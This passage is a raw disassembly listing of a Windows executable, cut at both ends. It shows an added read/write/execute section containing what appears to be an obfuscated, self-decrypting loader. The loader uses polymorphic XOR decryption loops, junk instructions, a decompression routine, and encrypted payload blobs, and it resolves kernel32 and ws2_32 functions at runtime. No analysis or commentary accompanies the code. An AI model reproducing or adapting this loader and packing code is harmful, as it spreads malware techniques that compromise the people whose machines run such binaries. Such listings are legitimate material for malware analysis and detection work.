0 ; DATA XREF: sub_4153D8+5Dr ; seg000:0041A0F0w ... align 4 dd 40h dup(0) dword_45FE44 dd 0 ; seg000:0041A17Bw ... dword_45FE48 dd 0 ; sub_4171EC+5r ... dword_45FE4C dd 0 ; sub_416BB8+259r ... dword_45FE50 dd 0 ; sub_416BB8+310w ... dword_45FE54 dd 0 ; sub_416BB8+22Cr ... dword_45FE58 dd 0 ; sub_416B8Dr ... dword_45FE5C dd 0 ; sub_416B8D+8r ... dword_45FE60 dd 0 ; sub_413ED3+21r ... dword_45FE64 dd 0 ; sub_41A852+Fr ... dword_45FE68 dd 0 ; sub_41D499r dword_45FE6C dd 0 ; sub_41A414+11w ... dword_45FE70 dd 0 ; sub_414863:loc_4148A5r ... dword_45FE74 dd 0 ; sub_414863+Cr ... byte_45FE78 db 0 ; DATA XREF: sub_41E154+15r ; sub_41E154+1Ew align 200h seg002 ends ; Section 4. (virtual address 00060000) ; Virtual size : 0001B000 ( 110592.) ; Section size in file : 0001B000 ( 110592.) ; Offset to raw data for section: 00060000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _data segment para public 'CODE' use32 assume cs:_data ;org 460000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 90h ; --------------------------------------------------------------------------- pusha call loc_46000A ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- jmp short loc_46000E ; --------------------------------------------------------------------------- loc_46000A: ; CODE XREF: .data:00460002j pop ebp inc ebp push ebp retn ; --------------------------------------------------------------------------- loc_46000E: ; CODE XREF: .data:00460008j call loc_460014 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_460014: ; CODE XREF: .data:loc_46000Ej pop ebp mov ebx, 0FFFFFFEDh add ebx, ebp sub ebx, 60000h cmp byte ptr [ebp+4Dh], 1 jnz short loc_460034 mov esi, [esp+28h] cmp esi, 1 mov [ebp+4Eh], ebx jnz short loc_460065 loc_460034: ; CODE XREF: .data:00460026j lea eax, [ebp+53h] push eax push ebx push dword ptr [ebp+9EDh] lea eax, [ebp+35h] push eax jmp loc_4600CA ; --------------------------------------------------------------------------- dd 3D0000h, 30000h, 7C809AE4h, 3FE000h, 7C801D77h, 7C80B6A1h dd 0 db 0 ; --------------------------------------------------------------------------- loc_460065: ; CODE XREF: .data:00460032j mov eax, 23A5C0F8h push eax push eax add eax, [ebp+4Eh] pop ebx test eax, eax jz short loc_460090 jmp short loc_460077 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_460077: ; CODE XREF: .data:00460074j cmp ebx, 23A5C0F8h jz short loc_4600B4 xor edx, edx push esi push 0 push esi push dword ptr [ebp+4Eh] call eax pop esi cmp esi, 0 jnz short loc_4600B4 loc_460090: ; CODE XREF: .data:00460072j xor edx, edx mov eax, [ebp+41h] test eax, eax jz short loc_4600A0 push edx push edx push dword ptr [ebp+35h] call eax loc_4600A0: ; CODE XREF: .data:00460097j mov eax, [ebp+35h] test eax, eax jz short loc_4600B4 push 8000h push 0 push dword ptr [ebp+35h] call dword ptr [ebp+3Dh] loc_4600B4: ; CODE XREF: .data:0046007Dj ; .data:0046008Ej ... pop ebx or ebx, ebx popa jnz short loc_4600C0 push 1 pop eax retn 0Ch ; --------------------------------------------------------------------------- loc_4600C0: ; CODE XREF: .data:004600B8j xor eax, eax neg eax sbb eax, eax inc eax retn 0Ch ; --------------------------------------------------------------------------- loc_4600CA: ; CODE XREF: .data:00460043j jmp loc_4600DC ; --------------------------------------------------------------------------- db 1 dd 3D94E7A6h, 39008332h, 0F52CDF7Eh ; --------------------------------------------------------------------------- loc_4600DC: ; CODE XREF: .data:loc_4600CAj call sub_4600F0 sti sbb [ecx+56h], dh xlat les ebp, [ebp-56CF8C1Eh] db 2Eh iret ; --------------------------------------------------------------------------- dw 655Ch ; =============== S U B R O U T I N E ======================================= sub_4600F0 proc near ; CODE XREF: .data:loc_4600DCp push eax mov dx, 9FF4h pop edi pop ebx push 7CDDC760h mov ecx, edx pop edi add ebx, 8B5h add ecx, 1DA1EE24h mov esi, 5F506B42h xor esi, 5F506AB9h movzx edi, bx loc_460119: ; CODE XREF: .data:0046019Ej mov eax, [ebx] adc dx, 0F3FDh xor eax, 6AEEFF93h sbb dx, 689Fh sub eax, 5853CBD0h call near ptr loc_460140+5 mov ebx, 971631D8h test [ebp-5Eh], ch xor esi, eax loc_460140: ; CODE XREF: sub_4600F0+41p imul ebp, esi, 0E9251C8Fh sub_4600F0 endp ; sp-analysis failed or eax, 0A1000000h mov byte ptr [edi+2352DDB4h], 20h fstp dword ptr [esi+5F954C7Fh] sub eax, 16A757C9h mov edx, 60842A02h push eax mov dh, 0A6h pop dword ptr [ebx] mov edi, ecx sub ebx, 1DA8D767h add ebx, 1DA8D763h xor di, 382Dh sub esi, 1 jnz loc_46019B movzx edx, bx jmp loc_4601AE ; --------------------------------------------------------------------------- dd 8661C86Bh, 129D7447h, 5E99E0E3h ; --------------------------------------------------------------------------- aas or al, 55h loc_46019B: ; CODE XREF: .data:0046017Ej mov di, cx jmp loc_460119 ; --------------------------------------------------------------------------- aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h loc_4601AE: ; CODE XREF: .data:00460187j add edx, 372E356Dh call near ptr loc_4601BB+5 xor esi, eax loc_4601BB: ; CODE XREF: .data:004601B4p imul ebp, esi, 0F251C8Fh mov bh, 0D2h pop esi mov dh, ch add esi, 7DDh jmp loc_4601E5 ; --------------------------------------------------------------------------- db 4Ch, 95h, 0AAh dd 7611389Bh, 24DE477h, 4E495013h, 5A057C6Fh db 8Bh ; --------------------------------------------------------------------------- loc_4601E5: ; CODE XREF: .data:004601CCj xor ebx, ebx add edx, 3CED04BDh loc_4601ED: ; CODE XREF: .data:00460244j mov edi, [esi+ebx] sbb ch, 0Ah sub edi, 6D3AC53Eh ; CODE XREF: .data:00460257j ; .data:0046025Bj movsx eax, ax xor edi, 36130F9Fh and cx, 0EDDCh sub edi, 48DA48ECh jz loc_460217 mov cx, 0A59Dh loc_460217: ; CODE XREF: .data:0046020Dj mov [esi+ebx], edi mov edx, 3816355Eh sbb dh, 5Bh sub ebx, 0DFE7D1h push esi push 2E4B9DD3h adc eax, 1801E11Ah pop eax pop edx add ebx, 0DFE7CDh mov dl, 7Ah cmp ebx, 0FFFFF8B4h jnz loc_4601ED mov ax, 863Bh xor dh, 61h call sub_460261 inc edi jz short near ptr loc_4601F3+3 adc ah, bl loopne near ptr loc_4601F3+3 pop esi aas or al, 55h ; =============== S U B R O U T I N E ======================================= sub_460261 proc near ; CODE XREF: .data:00460251p xor si, 8236h pop edi add edx, 313ACDD3h add edi, 73Dh push 1ABh pop eax loc_460279: ; CODE XREF: sub_460261+7Ej mov ecx, [edi] mov ebx, 548EEA40h sub ecx, 7065472Dh ja loc_460298 push 21BCB4CAh jb $+6 pop esi loc_460298: ; CODE XREF: sub_460261+25j xor ecx, 309D3462h mov dh, 3Fh xor ecx, 7EB159F3h mov dx, cx mov [edi], ecx mov edx, 43E0601Eh sub edi, 2 jle loc_4602BB mov bl, cl loc_4602BB: ; CODE XREF: sub_460261+52j dec edi dec edi mov bx, dx sub eax, 1 jnz loc_4602DC mov bh, ah jmp loc_4602EB ; --------------------------------------------------------------------------- dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch ; --------------------------------------------------------------------------- loc_4602DC: ; CODE XREF: sub_460261+62j movzx edx, dx jmp loc_460279 ; --------------------------------------------------------------------------- dd 2EA93073h db 0CFh, 5Ch, 65h ; --------------------------------------------------------------------------- loc_4602EB: ; CODE XREF: sub_460261+6Aj call sub_4602F6 cmpsw push esp std repne inc ebx sub_460261 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4602F6 proc near ; CODE XREF: sub_460261:loc_4602EBp jmp sub_46030E sub_4602F6 endp ; --------------------------------------------------------------------------- db 9Fh dd 0BB4AB5ECh, 971631D8h, 33A26D84h, 8FEE69F0h ; --------------------------------------------------------------------------- sbb al, 25h ; =============== S U B R O U T I N E ======================================= sub_46030E proc near ; CODE XREF: sub_4602F6j pop esi push 5F81CF08h jmp loc_460325 ; --------------------------------------------------------------------------- mov ah, 0DDh push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait loc_460325: ; CODE XREF: sub_46030E+6j pop ecx add esi, 6A6h mov bx, 1502h mov eax, 1688E850h sub eax, 1688E6C8h mov bx, si loc_46033E: ; CODE XREF: sub_46030E+61j mov edi, [esi] mov ebx, edx xor edi, 1ABF0653h mov dl, 5 add edi, 0E752B90h or ch, 0Ah sub edi, 1C899C89h mov cx, di push edi mov cl, 0C1h pop dword ptr [esi] sub esi, 2 mov dx, ax dec esi dec esi movzx ecx, dx sub eax, 1 jnz loc_46033E sub dx, 3FD1h xor edi, 29EA1265h call sub_460394 jmp short near ptr loc_4603CD+2 sub_46030E endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0E1h dd 1DF4C706h, 19606392h, 0D58CBFDEh ; =============== S U B R O U T I N E ======================================= sub_460394 proc near ; CODE XREF: sub_46030E+72p push ecx pop esi pop ebx push ebx jnp loc_4603B3 jmp loc_4603B3 ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h db 0B5h, 4Ah, 0BBh ; --------------------------------------------------------------------------- loc_4603B3: ; CODE XREF: sub_460394+4j ; sub_460394+Aj pop ecx add ebx, 60Fh jmp loc_4603CB ; --------------------------------------------------------------------------- test [ebp-5Eh], ch xor esi, eax imul ebp, esi, 0FA251C8Fh stosd loc_4603CB: ; CODE XREF: sub_460394+26j xor edx, edx loc_4603CD: ; CODE XREF: sub_46030E+77j mov eax, [ebx+edx] mov ecx, 0AB86895h sub eax, 7711B656h push 38F48538h call near ptr loc_4603F0+1 in al, 4Dh add dl, [ebx] ; CODE XREF: .data:004603FDj push eax dec ecx dec esi outsd jl short near ptr loc_4603F3+1 pop edx loc_4603F0: ; CODE XREF: sub_460394+4Cp mov esp, [esi-7Fh] sub_460394 endp ; sp-analysis failed loc_4603F3: ; CODE XREF: sub_460394+59j mov dword ptr [ebp-7EA0A615h], 9D06D7F0h jz short near ptr loc_4603E7+1 adc eax, [eax] ; --------------------------------------------------------------------------- db 2 dup(0), 5Fh dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h, 0E881E5DCh dd 603B9BC4h, 6686DE81h, 0B1500D65h, 13048FB4h, 14E8h dd 6A550C00h, 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh dd 0D4C6814Bh, 5E66C407h, 0EA835957h, 6800F01h, 81000000h dd 0C199CD1h, 4A4A4A49h, 0DC9121BEh, 0D8FA812Bh, 0FFFFFFAh dd 0FFFF6085h, 0F9BF0FFFh, 0E8h, 895B5D00h, 895B5B5Dh dd 89585F5Dh, 40D85h, 7D805800h, 5975015Ah, 4258589h, 8D600000h dd 33503345h, 30FF64C0h, 8B208964h, 2E4E8C3h, 1CEB0000h dd 824648Bh, 68F6764h, 0C4830000h, 458D6104h, 55FF5063h dd 2DEE85Fh, 9EB0000h, 68F6764h, 0C4830000h, 1BEB24h, 460048h dd 7C80B6A1h, 6E72656Bh, 32336C65h, 6C6C642Eh, 29CE800h dd 8DFC0000h, 8CB5h, 0C00BAD00h, 0F88B1B74h, 0CB9h, 0EBA4F300h dd 40100010h, 43442800h, 0A2111932h, 0C58B4B80h, 29A5896Ah dd 6A000004h, 10006840h, 0B5FF0000h, 408h, 95FF006Ah, 3F0h dd 1CC8589h, 9D8B0000h, 400h, 40D9D03h, 53500000h, 104E8h dd 68406A00h, 1000h, 408B5FFh, 6A0000h, 3F095FFh, 85890000h dd 431h, 1D08589h, 67640000h, 890000A1h, 42D85h, 5B558B00h dd 1D0858Bh, 2890000h, 408858Bh, 42890000h, 9F858D04h dd 8B000003h, 42895540h, 0EC858B08h, 89000003h, 858B1042h dd 3E8h, 8B144289h, 1CC95h, 1F8BB00h, 7C8B0000h, 0FF0B0C1Ah dd 4C8B1E74h, 0C90B101Ah, 0BD031174h, 1D0h, 141A748Bh dd 0F9C1F203h, 83A5F302h, 0DAEB28C3h, 1CC858Bh, 8B500000h dd 1D095h, 188B5200h, 858BDA03h, 3E4h, 858B0389h, 3E8h dd 8B044389h, 3EC85h, 8438900h, 468B5E5Fh, 89C70304h, 1C785h dd 5B558B00h, 1C7858Bh, 42890000h, 0D9D8D0Ch, 53000004h dd 6A006Ah, 8B57016Ah, 0DF03085Eh, 80006853h, 6A0000h dd 0F495FF56h, 68000003h, 3FE000h, 3A0000C3h, 3D000000h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp pusha push ebp mov esi, [ebp+8] mov edi, [ebp+0Ch] cld mov dl, 80h loc_460657: ; CODE XREF: .data:loc_460666j mov al, [esi] inc esi mov [edi], al inc edi loc_46065D: ; CODE XREF: .data:004606BBj ; .data:00460700j ... add dl, dl jnz short loc_460666 mov dl, [esi] inc esi adc dl, dl loc_460666: ; CODE XREF: .data:0046065Fj jnb short loc_460657 add dl, dl jnz short loc_460671 mov dl, [esi] inc esi adc dl, dl loc_460671: ; CODE XREF: .data:0046066Aj jnb short loc_4606BD xor eax, eax add dl, dl jnz short loc_46067E mov dl, [esi] inc esi adc dl, dl loc_46067E: ; CODE XREF: .data:00460677j jnb loc_46075A add dl, dl jnz short loc_46068D mov dl, [esi] inc esi adc dl, dl loc_46068D: ; CODE XREF: .data:00460686j adc eax, eax add dl, dl jnz short loc_460698 mov dl, [esi] inc esi adc dl, dl loc_460698: ; CODE XREF: .data:00460691j adc eax, eax add dl, dl jnz short loc_4606A3 mov dl, [esi] inc esi adc dl, dl loc_4606A3: ; CODE XREF: .data:0046069Cj adc eax, eax add dl, dl jnz short loc_4606AE mov dl, [esi] inc esi adc dl, dl loc_4606AE: ; CODE XREF: .data:004606A7j adc eax, eax jz short loc_4606B8 push edi sub edi, eax mov al, [edi] pop edi loc_4606B8: ; CODE XREF: .data:004606B0j mov [edi], al inc edi jmp short loc_46065D ; --------------------------------------------------------------------------- loc_4606BD: ; CODE XREF: .data:loc_460671j mov eax, 1 loc_4606C2: ; CODE XREF: .data:loc_4606D6j add dl, dl jnz short loc_4606CB mov dl, [esi] inc esi adc dl, dl loc_4606CB: ; CODE XREF: .data:004606C4j adc eax, eax add dl, dl jnz short loc_4606D6 mov dl, [esi] inc esi adc dl, dl loc_4606D6: ; CODE XREF: .data:004606CFj jb short loc_4606C2 sub eax, 2 jnz short loc_460705 mov ecx, 1 loc_4606E2: ; CODE XREF: .data:loc_4606F6j add dl, dl jnz short loc_4606EB mov dl, [esi] inc esi adc dl, dl loc_4606EB: ; CODE XREF: .data:004606E4j adc ecx, ecx add dl, dl jnz short loc_4606F6 mov dl, [esi] inc esi adc dl, dl loc_4606F6: ; CODE XREF: .data:004606EFj jb short loc_4606E2 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_46065D ; --------------------------------------------------------------------------- loc_460705: ; CODE XREF: .data:004606DBj dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_460713: ; CODE XREF: .data:loc_460727j add dl, dl jnz short loc_46071C mov dl, [esi] inc esi adc dl, dl loc_46071C: ; CODE XREF: .data:00460715j adc ecx, ecx add dl, dl jnz short loc_460727 mov dl, [esi] inc esi adc dl, dl loc_460727: ; CODE XREF: .data:00460720j jb short loc_460713 cmp eax, 7D00h jnb short loc_46074A cmp eax, 500h jb short loc_460745 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_46065D ; --------------------------------------------------------------------------- loc_460745: ; CODE XREF: .data:00460735j cmp eax, 7Fh ja short loc_46074D loc_46074A: ; CODE XREF: .data:0046072Ej add ecx, 2 loc_46074D: ; CODE XREF: .data:00460748j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_46065D ; --------------------------------------------------------------------------- loc_46075A: ; CODE XREF: .data:loc_46067Ej mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_460776 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_46065D ; --------------------------------------------------------------------------- loc_460776: ; CODE XREF: .data:00460762j pop ebp sub edi, [ebp+0Ch] mov [ebp-4], edi popa pop ebp retn 8 ; --------------------------------------------------------------------------- dw 261Ch dd 448B7C80h, 252424h, 5FFFF00h, 10000h, 100002Dh, 38816600h dd 0F4755A4Dh, 0F8858960h, 8B000003h, 3D88BD0h, 58033C40h dd 0D9D8978h, 8D000003h, 3CC9Dh, 0E4BD8D00h, 8B000003h dd 7CB58933h, 0E8000003h, 0Bh, 4C383ABh, 75003B83h, 60C361EAh dd 30D9D8Bh, 4B8B0000h, 8BCA0320h, 0E8F20331h, 2Fh, 0CD75CEBFh dd 74C73B49h, 4C18305h, 4B2BE9EBh, 0D1CA2B20h, 244B03E9h dd 0B70FCA03h, 2E1C109h, 31C4B03h, 3098BCAh, 244C89CAh dd 52C3611Ch, 3B248EBAh, 0C00AAC9Ch, 0D0321474h, 0EAD108B0h dd 0F2810673h, 0C1A7F39Ah, 0F275C8FEh, 5A92E7EBh, 2551A7C3h dd 493BF0B7h, 190257A7h, 0EE321390h, 0CD75CE74h, 49h, 80ADA000h dd 80B6A17Ch, 801D777Ch, 809A517Ch, 809AE47Ch, 8000007Ch dd 13C007Ch, 60B1C00h, 158F200h, 3000000h, 0 dd 2 dup(40h), 2 dup(0) dd 1000000h, 2, 0FFA40000h, 0FFE00012h, 12h, 1000003Dh dd 0D4000000h, 0E5820001h, 0F0000000h, 1C000001h, 14D60000h dd 10000000h, 0D0000002h, 3B2D0000h, 44h dup(0) dd 2000h, 8, 6 dup(0) dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h dd 3 dup(0) dd 60A10h, 609FCh, 3 dup(0) dd 60AB4h, 60AD9h, 3 dup(0) dd 60ABFh, 60AE1h, 3 dup(0) db 0CCh db 0Ah, 6, 0 ; --------------------------------------------------------------------------- jmp loc_4610AB ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB2BF400h dd 71h, 126AEA00h, 77h, 812A0900h, 7Ch, 56000000h, 61697261h dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h dd 74706563h, 6E6F69h, 0 dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah dd 1600C7ABh, 26239280h db 8Bh ; --------------------------------------------------------------------------- loc_46109D: ; CODE XREF: .data:loc_4610ABj stc lds ebx, [eax+199800FCh] sbb al, 0E3h or eax, 33630h loc_4610AB: ; CODE XREF: .data:00460A9Cj jnp short loc_46109D push eax out 0Bh, al ; DMA 8237A-5. mode register bits: ; 0-1: channel (00=0; 01=1; 10=2; 11=3) ; 2-3: transfer type (00=verify=Nop; 01=write; 10=read) ; 4: 1=enable auto-initialization ; 5: 1=address increment; 0=address decrement ; 6-7: 00=demand mode; 01=single; 10=block; 11=cascade cmp ebx, [edi] fiadd word ptr [eax] jnb short loc_461111 ror bh, cl push es jz short loc_4610E6 rol dword ptr [eax], cl mov ebp, [ecx] jmp short loc_4610C6 ; --------------------------------------------------------------------------- align 2 dw 0B844h db 89h, 0 ; --------------------------------------------------------------------------- loc_4610C6: ; CODE XREF: .data:004610BFj dec edi dec ebp mov ecx, 208F5CF1h test [ebx], eax fcmovne st, st(2) pop ds mov dh, 59h retn ; --------------------------------------------------------------------------- align 2 dw 64B4h dd 0B1892E39h, 0B2A5032Dh, 0F6B80811h ; --------------------------------------------------------------------------- adc al, 49h loc_4610E6: ; CODE XREF: .data:004610B9j add dl, dh dec eax cmp al, 33h inc eax add ebp, ebx xchg eax, esp add [edx-6Bh], bh pop es mov ss, word ptr [edx-73h] pop esp add dword ptr [eax], 0EA9CEC28h push 7F196626h dec ebx add [edi+edi*8+32h], ah xor ecx, [ecx+30DA22h] ; --------------------------------------------------------------------------- db 8Fh, 28h, 68h db 1 ; --------------------------------------------------------------------------- loc_461111: ; CODE XREF: .data:004610B4j add eax, [eax+7000413Dh] db 65h push ss jle short loc_461125 and edx, [ebx] pop es add [ebp-11h], bl ; CODE XREF: .data:00461126j popa mov [edi-4Bh], ch loc_461125: ; CODE XREF: .data:00461119j sahf jb short near ptr loc_46111E+2 mov word ptr [eax], es adc al, 12h push 0CCCA0FF8h sbb [edi], al mov ds:3D832D88h, eax push eax push es sbb al, [edi+ebp-7A104800h] popf adc eax, 330E05h leave add al, 82h hlt ; --------------------------------------------------------------------------- dd 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch, 847C62C8h dd 52805C6h, 0EA0014Ah, 8CF5005Ah, 6D68100Ah, 87299707h dd 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h, 53001BC4h dd 86C8E74Ch, 3CC840Fh, 21D2A4D5h, 0C7971A4Ah, 0E068815Eh dd 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h, 423C3Ah dd 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h, 117FDE4h dd 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h, 1F3B1A94h dd 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch, 83390980h dd 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh, 176D0038h dd 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h, 0EBF48100h dd 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh, 0AE158203h dd 752D709h, 938C9D66h, 4AB590EBh, 0C100ED80h, 0EE030772h dd 70FCF0Ch, 8112C216h, 7518F0FAh, 10009EE8h, 31185B9h dd 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch, 7C0010FAh dd 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch, 0F37C0400h dd 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h, 87B81C3Fh dd 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h, 11EB6020h dd 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h, 13010D84h dd 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh, 0E1339048h dd 9149200h, 31742506h, 47F2Ah, 0A154B0DAh, 0AE802B64h dd 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh, 8AB8FAC7h dd 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh, 2B64FE8h dd 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h, 20670AA9h dd 3E5A250Bh, 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h dd 4600FC32h, 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h dd 13B34503h, 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h dd 873D7FF3h, 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h dd 91925304h, 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h dd 822CF4h, 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h dd 705AF813h, 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h dd 0F82CEF9Eh, 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h dd 2C0239BAh, 0D3C603h, 14095C1h, 990EFE81h, 